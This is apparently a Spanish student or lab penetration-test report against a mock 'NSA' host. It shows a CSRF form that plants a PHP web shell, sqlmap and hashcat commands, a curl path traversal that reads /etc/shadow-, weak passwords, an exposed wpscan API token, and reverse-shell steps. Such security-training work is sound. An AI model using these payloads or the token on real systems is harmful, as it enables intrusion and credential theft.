TEST DE INTRUSIÓN: NSA

FEDERICO JUAN BADALONI. DAMIÁN ARIEL MAROTTE.

ÍNDICE GENERAL

Parte I

INTRODUCCIÓN

El riesgo de un ataque informático a la NSA es severo y puede derivar en perdidas totales.

1

RESUMEN EJECUTIVO

El equipo de especialistas de Rosario Team fue contratado por la Agencia de Seguridad Nacional de los Estados Unidos para realizar un test de intrusión con el objetivo de encontrar vulnerailidades de seguridad en sus sistemas informaticos que puedan resultar en un riesgo ante un ataque de un eventual actor malicioso. Las pruebas detalladas en el presente informe fueron realizadas simulando el actuar de dicho atacante con el objetivo de investigar si el mismo podría comprometer los sistemas de la Agencia de Seguridad Nacional y determinar el impacto de este ataque en la confidencialidad de los datos de la agencia, la disponibilidad de sus servicios de información y la integridad de los mismos.

Durante la realización de las pruebas, se intentó obtener identificar y explotar vulnerabilidades que permitan el acceso no autorizado a datos y recursos de la agencia, partiendo desde el nivel de acceso que tendría un usuario de internet ordinario. Estas pruebas, sus metodologías y alcance se enmarcaron dentro del acuerdo firmado entre Rosario Team y la Agencia de Seguridad Nacional respetando las limitaciones que el mismo establece.

- Cross-Site Scripting (XSS).
- Contraseñas débiles.
- Cross-Site Request Forgery (CSRF).
- Path traversal.
- Inyecciones SQL.
- Local File Inclusion (LFI).
- Unrestricted file upload.
- Escalada de privilegios.

Vulnerabilidad Alta

Como consecuencia de dichas vulnerabilidades el sistema puede quedar completamente expuesto a ataques. Mas aún, un terrorista podría obtener credenciales que le permitan obtener suficiente información como para realizar un atentado contra el presidente.

2

ENUMERACIÓN DE TECNOLOGÍAS

2.1 SISTEMA OPERATIVO

El servidor se encuentra corriendo el sistema operativo *Ubuntu* 10.04.3, utilizando el kernel de Linux en su versión 3.19.

Se encuentran además instaladas las siguientes aplicaciones:

- *Apache* 2.4.7
- *PHP* 5.5.9
- *MySQL* 5.6.27

Información

Puede obtener información sobre su sistema con los comandos:

- `uname -a`
- `apache2 -v`
- `php -v`
- `mysqld --version`

2.2 APLICACIONES WEB

En dicho servidor se encuentran corriendo las siguientes aplicaciones web:

Aplicación	Versión	Ruta
Pligg	2.0.2	/pligg/
Wordpress	4.3.24	/nasa/
Ajax File Manager	1.0.1	/important/

Cuadro 2.1: Aplicaciones web

2.3 PUERTOS ABIERTOS

La siguiente tabla da cuenta de los puertos abiertos que tiene la máquina:

Puerto	Protocolo	Servicio	Versión
21	tcp	ftp	vsftpd 3.0.2
22	tcp	ssh	OpenSSH 6.6.1p1
80	tcp	http	Apache httpd 2.4.7
8000	tcp	http-alt	Apache httpd 2.4.7

Cuadro 2.2: Puertos abiertos

Información

Un puerto abierto no es necesariamente una vulnerabilidad. No obstante deben observarse con cautela pues representan una puerta de entrada al sistema.
Puede escanear sus puertos abierto con el comando:

```
nmap -sV ip
```

Parte II

VULNERABILIDADES

La utilización de software desactualizado genera problemas en todas sus aplicaciones.

3

SISTEMA OPERATIVO

3.1 ESCALADA DE PRIVILEGIOS

3.1.1 *Descripción*

La versión del kernel que corre el servidor presenta una vulnerabilidad importante. Esta permite a un usuario común con acceso (remoto o local) al sistema, obtener credenciales de administrador.

Vulnerabilidad Alta

Un atacante puede aprovechar esta vulnerabilidad para obtener cualquier información no solo de sus servicios web, sino de todo el sistema. Además también puede eliminar dicha información, dejando el sistema inutilizable.

3.1.2 *Mitigación*

Se recomienda actualizar el sistema operativo lo antes posible, de lo contrario pueden llegar a sufrirse perdidas totales.

3.1.3 *Prueba de concepto*

El código para explotar esta vulnerabilidad puede observarse en https://www.exploit-db.com/exploits/37292. Basta compilar dicho programa y ejecutarlo para acceder al usuario `root`.

Como prueba de la posible explotación se exhibe la siguiente bandera encontrada en la carpeta personal del usuario `root`:

```
7091996b0ccbb6c6145dca439f44cbe3c6c757e476241d1cc64ec3dcf0f722fb
```

3.2 CONTRASEÑAS DÉBILES

3.2.1 *Descripción*

- El usuario `michelle` tiene como contraseña «`michelle1992`». Esta contraseña es muy débil y puede ser fácilmente recuperada por un atacante.
- El usuario `obama` tiene como contraseña «`obamaobamaobama`». Aunque esta contraseña sea ligeramente mas apropiada, el hecho de que es reutilizada en otras aplicaciones la vuelven vulnerable.

Vulnerabilidad Media

Si bien es cierto que los usuarios no tienen privilegios importantes dentro del sistema, la combinación de esta debilidad junto con la vulnerabilidad anterior permiten a un hacker acceder al sistema sin restricciones.

3.2.2 *Mitigación*

Se recomienda implementar una política de contraseñas mucho mas segura y solicitar a todos los usuarios del sistema que cambien sus claves de acceso.

3.2.3 *Prueba de concepto*

En el archivo `/etc/shadow-` pueden verse las contraseñas encriptadas de cada usuario. Un hacker podría utilizar los siguientes comandos para recuperar la contraseña del usuario `michelle` en poco tiempo:

```
echo -n \
$6$PxviCoLU$mCZ920AxWdCz8PORTR.Q.azdXDuutw9B1H7k31palCqPcpTVQk1n5hBSDX6w5mncFgzMBmnIIC \
> hash.txt
hashcat -m 1800 -O -w 3 hash.txt /usr/share/wordlists/rockyou.txt
```

4

PLIGG

4.1 PATH TRAVERSAL, CSRF Y UNRESTRICTED FILE UPLOAD

4.1.1 *Descripción*

A través del editor de plantillas de *Pligg*, un usuario administrador puede leer y escribir archivos como se puede ver en https://www.exploit-db.com/exploits/38579. Además también pueden recorrerse rutas fuera del servidor web.

Aún sin ser administrador, el atacante podría enviar un vinculo malicioso al administrador que de ser abierto, permitirá explotar la vulnerabilidad.

Vulnerabilidad Alta

Esta vulnerabilidad permite subir código *PHP* con el cual pueden leerse código fuente de las aplicaciones para obtener los nombres de las bases de datos, sus usuarios y sus contraseñas. Además como se verá mas adelante, también permite al atacante habilitar una consola de comandos para futuros ataques.

4.1.2 *Mitigación*

Aunque puede solucionarse el problema aplicando los controles y sanitizaciones correspondientes, la aplicación web se encuentra fuera de desarrollo y completamente desactualizada, por lo que la recomendación es dejar de utilizar *Pligg*.

4.1.3 *Prueba de concepto*

El siguiente fragmento de código *HTML* escribe un archivo en el servidor, que puede ser utilizado un hacker para ejecución de código remoto:

```
<form action="http://192.168.0.19/pligg/admin/admin_editor.php" method="post">
    <input type="hidden" name="the_file2" value="../templates/exploit.php"/>
    <input type="hidden" name="updatedfile" value="<?php passthru($_GET['x']); ?>"/>
    <input type="hidden" name="isempty" value="1"/>
    <input type="hidden" name="save" value="Save+Changes"/>
</form>
<script>document.forms[0].submit();</script>
```

Luego el atacante puede acceder a http://192.168.0.19/pligg/templates/exploit.php?x=cat../libs/dbconnect.php y leer el código fuente de la página resultante para observar la salida de la ejecución.

4.2 INYECCIÓN SQL

4.2.1 *Descripción*

El parámetro `sql` de la página `load_data_for_search.php` es vulnerable a inyecciones de código SQL tal como puede leerse en https://www.exploit-db.com/exploits/38241.

Vulnerabilidad Alta

Un atacante experimentado puede aprovecharse de esta vulnerabilidad para recuperar la base de datos completa del sitio web y con ello lograr acceder al panel de administrador de *Pligg*.

4.2.2 *Mitigación*

Aunque puede solucionarse el problema aplicando los controles y sanitizaciones correspondientes, la aplicación web se encuentra fuera de desarrollo y completamente desactualizada, por lo que la recomendación es dejar de utilizar *Pligg*.

4.2.3 *Prueba de concepto*

Para recuperar la información de la base de datos se puede utilizar el comando:

```
sqlmap -u 192.168.0.19/pligg/load_data_for_search.php?sql= \
-o --dump --batch --level=5
```

4.3 CONTRASEÑA DÉBIL

4.3.1 *Descripción*

La contraseña del usuario `barack` es «`obamaobamaobama`». Esta contraseña es lo suficientemente débil como para que un hacker pueda obtenerla.

Vulnerabilidad Media

Idealmente esto solamente implica que un atacante puede acceder al panel de administración de la aplicación web, sin embargo la misma contraseña es reutilizada en otras partes del sistema.

4.3.2 *Mitigación*

Se recomienda implementar una política de contraseñas mucho mas segura y solicitar a todos los usuarios del sistema que cambien sus claves de acceso.

4.3.3 *Prueba de concepto*

Tal como se detalla en https://www.exploit-db.com/exploits/17077 si se obtiene la información de la base de datos se puede recuperar la contraseña del usuario `barack` utilizando el programa `hashcat`:

```
echo -n 4c2383ac91e67505741b9cdad3b9bee87e62ba98:1bf490bb3 > hash.txt
hashcat -m 120 -O -w 3 hash.txt /usr/share/wordlist/rockyou.txt \
-r rules\d3ad0ne.rule
```

4.4 XSS

4.4.1 *Descripción*

Tal como se explica en https://packetstormsecurity.com/files/131601/Pligg-CMS-2.0.2-Cross-Site-Scripting.html un usuario administrador puede crear una página con contenido *JavaScript* que podría lograr por ejemplo, obtener una copia de las pulsaciones del teclado de su victima.

Vulnerabilidad Baja

Esta vulnerabilidad no representa una amenaza directa sobre el sitio web, pero el administrador podría aprovechar sus privilegios para robar información sobre el resto de los usuarios

4.4.2 *Mitigación*

Aunque puede solucionarse el problema aplicando los controles y sanitizaciones correspondientes, la aplicación web se encuentra fuera de desarrollo y completamente desactualizada, por lo que la recomendación es dejar de utilizar *Pligg*.

5

WORDPRESS

5.1 LOCAL FILE INCLUSION & PATH TRAVERSAL

5.1.1 *Descripción*

El plug-in *SE HTML Album Audio Player* instalado en *Wordpress* permite a un atacante leer archivos en cualquier parte del sistema, tal como se describe en *https://wpscan.com/vulnerability/8032*.

Vulnerabilidad Alta

Un hacker puede aprovechar este defecto para obtener información vital del sistema como usuarios, contraseñas y código fuente; entre otras cosas.

5.1.2 *Mitigación*

Para solucionar el inconveniente se debe desinstalar dicho plug-in y reemplazarlo por otro que se encuentre actualizado.

5.1.3 *Prueba de concepto*

El siguiente comando de Linux permite leer archivos en el servidor:

```
curl \
http://192.168.0.19/nasa/wp-content/plugins/se-html5-album-audio-player/download_audio.php? \
file=/nasa/wp-content/uploads/../../../../../../etc/shadow-
```

Información

Puede verificar información sobre su instalación de *Wordpress* utilizando el siguiente comando:

```
wpscan --url 192.168.0.19/nasa --enumerate \
--api-token OzMAIX0hemNhPZcasfrBhsiNuV7tsES2usqk53w5Ml0 \
--proxy http://127.0.0.1:8080 --disable-tls-checks
```

Tenga en cuenta que probablemente necesite configurar un proxy para redirigir el trafico de 172.18.1.68 hasta la ip del servidor. Además también necesitará un token provisto por https://wpscan.com/api.

6

AJAX FILE MANAGER

6.1 LISTADO DE ARCHIVOS & PATH TRAVERSAL

6.1.1 *Descripción*

Puede utilizarse una vulnerabilidad en el archivo `ajax_get_file_listing.php` para realizar un listado de archivos en el sistema.

Vulnerabilidad Baja

Si bien esta vulnerabilidad solo permite listar archivos, esta información puede ser utilizada por el atacante para obtener detalles sobre el sistema. En combinación con Local File Incluision puede aumentar su gravedad.

6.1.2 *Mitigación*

La aplicación se encuentra fuera de desarrollo hace mas de 8 años, por lo que se recomienda dejar de utilizarla.

6.1.3 *Prueba de concepto*

Con el siguiente vinculo puede obtenerse el listado de archivos de casi cualquier directorio del sistema:

http://192.168.0.19/important/ajaxfilemanager/ajax_get_file_listing.php?limit=1000&view=thu

6.2 CONTRASEÑA POR DEFECTO

6.2.1 *Descripción*

La aplicación preserva su nombre de usuario (`ajax`) y contraseña por defecto («`123456`»).

Vulnerabilidad Media

Aunque no hemos sido capaces de hacer funcionar la aplicación, probablemente existan vulnerabilidades que permitan subir archivos que logren ejecución de código remoto.

6.2.2 *Mitigación*

La aplicación se encuentra fuera de desarrollo hace mas de 8 años, por lo que se recomienda dejar de utilizarla.

Parte III

MANTENIMIENTO

Un atacante no solo podrá utilizar las vulnerabilidades para recuperar información acerca de su sistema, sino que además puede instalar troyanos para asegurarse una puerta de acceso en caso de que los problemas sean corregidos.

7

REVERSE SHELL

El siguiente mecanismo puede utilizarse para obtener una terminal de comandos con privilegios de administrador:

1. Aprovechando la vulnerabilidad de inyección SQL en *Pligg* puede obtenerse la contraseña encriptada del administrador de la aplicación.
2. Como su contraseña es debil, resulta fácil desencriptarla y acceder al panel de administración.
3. Utilizando el editor de templates de la aplicación web, se puede subir el siguiente script en PHP: https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php.
4. A continuación en la máquina del atacante se ejecuta el comando `nc -v -n -l -p 1234`.
5. Luego se debe acceder a través del navegador a la ruta en donde se subió previamente el código malicioso.
6. Finalmente se puede aprovechar la escalada de privilegios para obtener acceso al usuario `root`.